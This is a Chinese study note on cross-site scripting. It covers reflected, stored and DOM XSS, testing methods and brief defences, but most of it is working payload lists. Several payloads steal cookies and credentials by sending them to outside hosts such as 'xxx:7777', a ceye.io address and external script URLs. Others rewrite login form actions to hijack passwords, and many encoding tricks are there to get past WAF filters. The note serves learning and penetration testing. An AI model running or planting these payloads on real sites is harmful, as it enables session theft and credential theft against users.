xss学习


再不学xss就要被学弟狠狠超了:(

xss是代码注入的一种,它允许攻击者将恶意代码注入到前端页面上

然后其他用户在浏览网页的时候就会受到影响

本质就是攻击者在web端插入了恶意的script代码(可能是css、js脚本或者是其他),当受害者访问这种页面的时候,就会执行其中的恶意代码,获取到用户的session、token、cookies等

xss的危害:

  1. 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等
  2. 未授权操作,通过JS发起敏感操作请求
  3. 按键记录和钓鱼
  4. 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  5. 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。

这个敏感操作包括但不限于修改密码、创建工单等

XSS的分类

xss有三种分类:

  • 反射型xss
  • 存储型xss
  • DOM型xss

反射型和DOM型是非持久型xss攻击,而存储型是持久型xss攻击

反射型xss

payload不会存储到数据库中,一般会出现在查询页面

输入内容直接返回的参数都可能存在xss

攻击对于受害者而言是一次性的

攻击者会诱导受害者点击恶意url,点击之后由于url包含了恶意js脚本,这些脚本就会直接在受害者的主机上的浏览器执行

恶意代码并没有保存在网站,而web端也只是将这个js脚本反射回受害者的浏览器并执行了相应的脚本

流程:

  • 攻击者准备好恶意url(有payload),发送给用户
  • 用户点击链接
  • web服务将xss代码返回给用户
  • 客户端执行xss代码,将信息发送到了攻击者的服务中
  • 攻击者就可以读取用户的信息

一图流:

存储型xss

将payload放在了数据库里,一般出现在会将数据存储到数据库并展示在前端页面的功能

注册页,留言板等功能

存储型xss先将payload存储在数据库中,然后当下一次数据库从中取出数据直接将其展示在前端的时候,页面将会执行xss攻击用户

存储型xss的危害会更大,因为他将恶意代码上传或者存储到了服务器当中,只要是个访问了包含这段恶意代码的页面的用户就可能会被xss攻击

攻击流程:

  • 攻击者向web服务插入xss payload
  • 然后web服务会将其存储到数据库
  • 用户访问web服务
  • web服务会将数据库中的数据以及视图返回给前端,前端渲染并加载。其中包含有xss payload
  • 此时xss代码被加载,客户端执行xss代码并向攻击者服务器发送敏感信息
  • 攻击者读取受害者的敏感信息

DOM型xss

不与后端交互、payload不存到数据库中,属于反射型的一种

但是他是通过dom操作来产生问题

发掘较困难

DOM叫Document Object Model

能够使程序和脚本动态访问和更新文档的内容、结构、样式

客户端的脚本可以动态地检查和修改页面内容,无需依赖服务端。客户端从url中提取数据并在本地执行

如果用户在客户端输入的数据包含了恶意js脚本,并且没有被过滤的话,就会导致DOM型xss

和反射型xss不同的是,dom型无需向web服务发送请求,而是直接在浏览器执行。需要注意用户的输入源:document.URLlocation.hashlocation.searchdocument.referrer

攻击流程:

  • 攻击者发送恶意url
  • 用户点击恶意链接,打开浏览器
  • 直接在浏览器客户端执行xss
  • 此时将xss的结果发送给攻击者的恶意服务
  • 攻击者访问xss平台,获取敏感信息

xss的区别:

反射型 存储型 DOM型
攻击对象 需要攻击者主动寻找受害者并诱导其访问 广撒网,只要有用户访问对应的页面就会触发,危害性更大,范围更广 需要攻击者主动寻找受害者并诱导其访问(同反射型)
持久性 一次性 只要服务器不宕机,payload不被手动删除,就一直存在 一次性
触发点 网站中直接返回参数内容的功能点 网站中将数据直接存储到数据库中,后直接返回数据在前端展示的功能点 取决于DOM节点

反射型xss中,返回的html包含了恶意payload

而DOM型没有包含恶意payload

xss与csrf

xss:

  • 主要加载js代码,在客户端执行
  • 不一定要经过后端,主要需要客户端执行xss代码
  • DOM型xss只对浏览器客户端发起攻击
  • xss是针对用户的攻击

csrf:

  • 欺骗服务器,虽然由用户发起,但服务器无法判断是否是用户想要发起的请求
  • 一定会经过后端处理,否则无法执行
  • csrf用于伪造身份,实行对服务器的欺骗

挖掘xss

一般可以通过输入一些常见的标签,例如h1img等进行确认

  • 直接返回输入内容的可能存在反射型xss
  • 在页面中进行特定渲染的可能存在DOM型
  • 存储到数据库的可能存在存储型xss

有时候可以将返回页面的关键词进行一些拼接:

1
2
3
4
<script>
var imgErrorLen=0;
</script>
<input type="hidden" name="ie" value="utf-8">

例如上面这个就可以构造mgErrorLen=<h1>123</h1>&ie=<h1>123</h1>

可以构造一个xss的fuzz字典(

白盒的时候

  • 看一下接受信息的方式$_GET$_POST$_REQUEST等,检查这些方式接受的信息有没有输出到页面中,输出到页面中的数据是否进行了过滤和html编码处理
  • 搜索类似echo等输出语句,然后追踪输出变量的来源等。根据来源检查是否可控。存到数据库的时候有没有过滤等
  • 大多数程序会对接收到的参数封装在公共文件的函数中统一调用
  • 搜索一些js操作dom元素的关键词进行审计

(dom型其实就是利用js脚本的xss,比如某个function里面一个拼接操作,你只需要闭合一下前面的再添加自己的xss)

常见xss业务场景

  • 评论区、留言区、个人订单、信息反馈等 这些是重灾区
  • 站内私信、意见反馈等 这些是针对型
  • 搜索框、头像链接、图片属性、目录这些可能回存在问题

常见payload

Cross-Site Scripting (XSS) Cheat Sheet - 2024 Edition | Web Security Academy (portswigger.net)

一个速查表

fuzz字符:

1
'';!--"<h1>=&{()}</h1>

基础payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<--`<img/src=` onerror=confirm``> --!>
<Details Open OnToggle =co\u006efirm`XSS`>
<SCRIPT SRC=http://damit5.kiwi/xss.js></SCRIPT>
<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
<a href=1 onmouseover=alert(1)>nmask</a>
<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发</a>
<body onhashchange=a=alert,a(document.domain)> <!-- # http://xxx.xxx.xxx#123 http://xxx.xxx.xxx#124 触发 -->
<body/onpageshow=alert(1)>
<body onpageshow=alert(1)>
<details/open/ontoggle=top["al"+"ert"](1)>
<discard onbegin=[1].find(alert)>
<iframe src=javascript:alert(1)>
<img src/*sv=x */onerror=alert()>
<img src onerror=alt=''+document.domain>
<img src="X" onerror=(a=alert,b=document['\x63\x6f\x6f\x6b\x69\x65'],a(b))>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<img src="x:alert" onerror="eval(src+'(0)')">
<img src=# onerror=a=alert,a(1)>
<img src=0 onerror=confirm('1')>
<img src=1 onmouseover=alert(1)>
<img src=x onerror=setInterval`alert\x28document.domain\x29`>
<img src=x onerror=setTimeout`alert\x28document.cookie\x29`>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img/src/onerror=alert(1)>
<input class="" name="roots" id="roots" type="text" value=1 onfocus=alert(11) autofocus=>
<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" /> <!--针对 hidden 的 input 标签,firefox下 shift+alt+X 成功-->
<input type=text autofocus/onfocus='prompt(1);'/>//
<marquee onstart=alert(1)>
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<marquee loop=1 onFinish='alert(1)'>123</marquee> <!-- # 滚动标签 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<script>a=prompt;a(1)</script>
: </script><embed/embed/embed/src=https://14.rs>
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <!--用分号,也可以分号+空格(回车一起使用)-->
<script>window.a==1?1:prompt(a=1)</script>
<svg/onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()">
<svg/onload=[document.cookie].find(alert)>
<svg/onload=alert&lpar;1&rpar;>
<svg/onload=alert(1)>
<svg/onload=top['al\145rt'](1)>
<svg/onload=top[/al/.source+/ert/.source](1)>
<x/oncut=alert(1)>a
<iframe/src="data:text&sol;html;&Tab;base64">&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle"/></svg>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

挑几个比较常见的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<SCRIPT SRC=http://damit5.kiwi/xss.js></SCRIPT>

<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>

<SVG ONLOAD="window.open('xxx'+document.cookie)"></svg>



<a href=1 onmouseover=alert(1)>nmask</a>

<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发</a>

<iframe src=javascript:alert(1)>

<img src/*sv=x */onerror=alert()>
<img src onerror=alt=''+document.domain>
<img src="X" onerror=(a=alert,b=document['\x63\x6f\x6f\x6b\x69\x65'],a(b))>

<img src=1 onmouseover=alert(1)>
<svg/onload=alert(1)>

<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>

<script>doucment.location.href='xxx'+document.cookie</script>

<iframe onload="xxx"></iframe>

总之就是src或者onload()

一些基于事件的跳转:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
onclick=document.write(document.cookie)
self[Object.keys(self)[5]]("foo") // alert("foo")
constructor.constructor(alert(1))
eval('alert(1)')
[1].find(alert);
[self.alert(1)]
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
top[8680439..toString(30)](8); // 使用parseInt("alert",30)生成
self[9350252032..toString(30)](1) // confirm(1)

一些事件,比如onclick,onerror可以使用

一些伪协议:

如果url跳转的地址可控,且存在于<a>标签中,可以利用伪协议进行xss

对,xss中也有伪协议

1
2
3
4
<!-- 某渗透测试的xss payload,经测试发现可以利用%09绕过等号附近的拦截,|拦截src -->
<image/src=| onerror = javascript:alert(111)>
<!-- 经过html实体编码后的payload,绕waf -->
<image/src=| onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29>
1
2
javascript://www.baidu.com/%E2%80%A8alert(1)
javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value

markdown xss

1
2
3
4
5
6
7
8
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
...

xml xss

1
2
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>

获取cookie:

1
2
3
4
5
6
7
8
9
10
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="js地址"></img>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vNjYuMTEyLjIxMy43Njo4MS9CbHVlTG90dXNfWFNTUmVjZWl2ZXIvdGVtcGxhdGUvZGVmYXVsdC5qcyc='))>
<img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')"> <!-- 需要 jquery 的支持 -->
<img/src/onerror=this.src='//baidu.com/?'+document.cookie>
<!--# 分段构造-->
<img/src/onerror=a=document;>
<img/src/onerror=s=a.createElement('script');>
<img/src/onerror=body.appendChild(s);>
<img/src/onerror=s.src='https://vxss.cc/r7K6'>
<svg/onload="document.location='http://72sf9a.ceye.io/?'+document.cookie">

一些登录劫持手法

适用于某些登录页面存在xss,通过特殊js代码获取到账号密码。

1
2
3
4
5
6
7
8
9
10
11
12
<!-- 输入就弹窗,初始代码 -->
<input name="ccc" type="text" id="1" size="20" /><br />
<script>
var input = document.getElementById('1')
input.oninput = function(){
alert(input.value);
}
</script>

<!-- 输入就弹窗,缩一行 -->
<input name="ccc" type="text" id="xxx" size="20" /><br />
<svg/onload="var input = document.getElementById('xxx');input.oninput = function(){alert(input.value);}">

可以将其改成跳转

修改action:

1
2
3
4
5
6
7
8
<form action="xxx.php" method="post" id="sss">
<input type="text" name="xxx" id="xxx">
<input type="submit">
</form>
<svg/onload="var form1 = document.getElementById('sss');form1.action = 'http://127.0.0.1/out.php';">

<!-- 没有id 没有 name 可以通过 getElementsByTagName 来修改 -->
<svg/onload="var form1 = document.getElementsByTagName('form')[0];form1.action = 'http://127.0.0.1/out.php';">

按钮属性添加:

1
2
$(".news[type=submit]")[0].setAttribute("onclick", "alert("Password:" + document.getElementsByName('Password')[0].value)")

url跳转:

1
2
redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value

通过post请求获取:

xhr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 纯js请求获取token -> 正则表达式
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://m.gm7.org/",true);
xmlhttp.withCredentials = true;
xmlhttp.send();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
alert(xmlhttp.responseText);
}
}
</script>

ajax:

1
2
3
4
5
6
7
8
9
10
<script>
$.ajax({
url:'api/change.php',
type:'post',
data:{
p:'newpass'
}
});
</script>

XSS Bypass

常规手法:

  1. 编码
  2. 注释
  3. 大小写
  4. 双写
  5. 参数污染
  6. 超长垃圾数据

编码

xssor:https://evilcos.me/lab/xssor/

一个编码网站

利用这个xssor编码后用在on事件之后,也可以用在eval当中:

1
2
<svg/onload=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x002f;&#x0078;&#x0073;&#x0073;&#x002f;&#x0029;>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script>
  • html实体编码:&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;
  • 进制:\x61\x6c\x65\x72\x74\x60\x78\x73\x73\x60
  • unicode:\u0061\u006c\u0065\u0072\u0074\u0060\u4e2d\u6587\u4e5f\u53ef\u4ee5\u0060
  • 转义:就是单纯的:\'、\<、\>
1
2
<!-- 经过html实体编码后的payload,绕waf -->
<image/src=| onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29>

其他编码:

jsfuck:http://www.jsfuck.com/

jjencode:jjencode - Encode any JavaScript program using only symbols (utf-8.jp)

eval函数

1
2
3
4
5
6
7
8
十六进制
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29")</script>

ASCII
<img src="javascript:alert(1)" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))>

其他
<script>eval(String.\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065(0x61,0x6c,0x65,0x72,0x74,0x28,0x31,0x29))</script>

绕过<过滤

可能可以通过一些特殊编码绕过:

fuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<
%3C
%253C
%25253C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

关键词

1
2
document . cookie
document/*xxx*/./*xxx*/cookie

这个是%09还是空格,都可以试试

空格

/**/内联注释

1
<img st/**/src ="x"/**/onerror=alert(1)>

还有一个/也可以替代空格:

1
<body/onload="window.open('xxxx'+document.cookie)"></body>

一些url编码

1
2
3
4
5
%0a
%0d
%09
%20
%00

绕javascript伪协议

\r \n \t

1
2
3
4
5
6
javas\rcript:self[Object.keys(self)[6]](sessionStorage.getItem('_diskSessionId'))//

// http://example.com/redirect?url=javascript:alert()
document.location = 'javasc\tript:alert(123)'
document.location = 'javasc\rript:alert(123)'
document.location = 'javasc\nript:alert(123)'

绕括号

利用反引号

1
2
3
alert`1`
prompt`${document.cookie}`
window.onerror=alert;throw 1
1
2
3
4
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<script type="text/javascript">window.onerror=alert;throw 1</script>

document.location.href='http://xxx:7777/'+document.cookie

绕长度限制

  • location.hash.substr(1)
1
2
3
<script>
eval(location.hash.substr(1));
</script>

用户如果带上#xxxxx来访问包含有这个恶意脚本的界面,就会执行xxxxx的内容

  • 使用 import('//domain/file'),这个需要使用同样的协议,加载的js的响应头中的content-typeapplication/javascript而且允许跨域加载Access-Control-Allow-Origin: *实战环境中的一些XSS小技巧 (qq.com)

  • 使用一些特殊编码,例如: ㏕ -> mil | Ⅷ -> VIII | ㏒ -> log 等等… 比如<script/src=//⑭.₨>,只有18个字符。其中代表印度卢比,这是1个字符,而不是2个字符,而也是类似的效果。当受害者点击这个的时候会被跳转到14.rs,而14.rs上放我们的恶意js脚本:

1
2
'';var msgbox;if(location.hash){eval(location.hash.slice(1))}else{alert(1)}//<img src="xxx://" onerror="if(location.hash){eval(location.hash.slice(1))}else{alert(1)}">
msgbox+1

更多的unicode字符:https://www.fuhaoku.net/danweifuhao/

利用JS全局变量绕过

1
2
3
4
5
6
7
window
self
_self
this
top
parent
frames

比如payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
window["document"]["cookie"]
window["alert"](window["document"]["cookie"])

self["alert"](self["document"/*xxx*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
self["\x61\x6c\x65\x72\x74"](self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])
self["\x65\x76\x61\x6c"](self["\x61\x74\x6f\x62"]("ZG9jdW1lbnQuY29va2ll"))

// Jquery
self["$"]["globalEval"]("alert(1)")

// 高级用法,不出现alert等关键词,遍历全局变量找到对应的函数
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // 先搜索到alert函数的id
self[Object.keys(self)[5]]("foo") // alert("foo")

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} // 正则表达式匹配出alert然后定义函数a为alert
self[Object.keys(self)[a()]]("foo")

一个字符转十六进制的脚本

1
2
3
4
5
6
7
8
9
10
import binascii

result = []
a = input("\t\t: ")
for i in a:
result.append(binascii.b2a_hex(i.encode()))

result = [i.decode() for i in result]
result = "\\x".join(result)
print ("\\x" + result)

常规防御

字符 说明
西文竖线符号
& & 符号
; 分号
$ 美元符号
% 百分比符号
@ at 符号
单引号
" 引号
' 反斜杠转义单引号
" 反斜杠转义引号
<> 尖括号
() 括号
+ 加号
CR 回车符,ASCII 0x0d
LF 换行,ASCII 0x0a
, 逗号
\ 反斜杠
= 等号

验证用户的输入类型、长度、内容

  • 比如要求的是整数,就用intval强转
  • 比如需要手机号,就判断是否是11位的数字
  • 如果数据内容是邮箱,就利用正则表达式匹配邮箱的组成

编码

1
2
3
4
5
6
& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2F;

httponly

这个cookie禁止js读取某些敏感cookie,使得完成了xss也无法获得数据

http only无法完全防御xss漏洞,之规定了js不能够去获取cookie的内容

所以它只能够防御用于获取cookie的问题

httponly在某些情况下也能够获得cookie

比如apache的400情况下应答存在缺陷等

trace协议

CSP

不提了,这个csp把我橄榄了不知道多少次

csp本质就是白名单,告诉客户端哪些东西可以加载和执行

富文本编辑器XSS修复

富文本编辑器本身支持部分标签,也就是说如果它必须至少要支持<>才能够进行正常使用

所以可以从以下几个方面来进行修复:

  • 设置标签白名单,如仅允许<a><img>等必要标签
  • 为白名单标签的属性设置白名单,例如<a>只允许使用href
  • 限制这些href等属性内的输入,防止伪协议造成xss漏洞,禁止出现on.*等事件属性,就比如下面这种
1
2
<iframe src=javascript:alert(1)>
<a href="javascript:confirm('xxx')"></a>

URL可控

某些地方URL可控,所以利用javascript伪协议可以触发xss:

1
<a href="{xss payload}">Test</a>

修复方式:

  • 验证url是否合法,以http(s)😕/开头,如果不是就自动添加或者拒绝请求
  • 对http(s)😕/后的内容进行url编码处理

JSONP

可能会利用callback函数修改xss语句导致xss漏洞

修复方式

1
Content-Type: application/json; charset=utf-8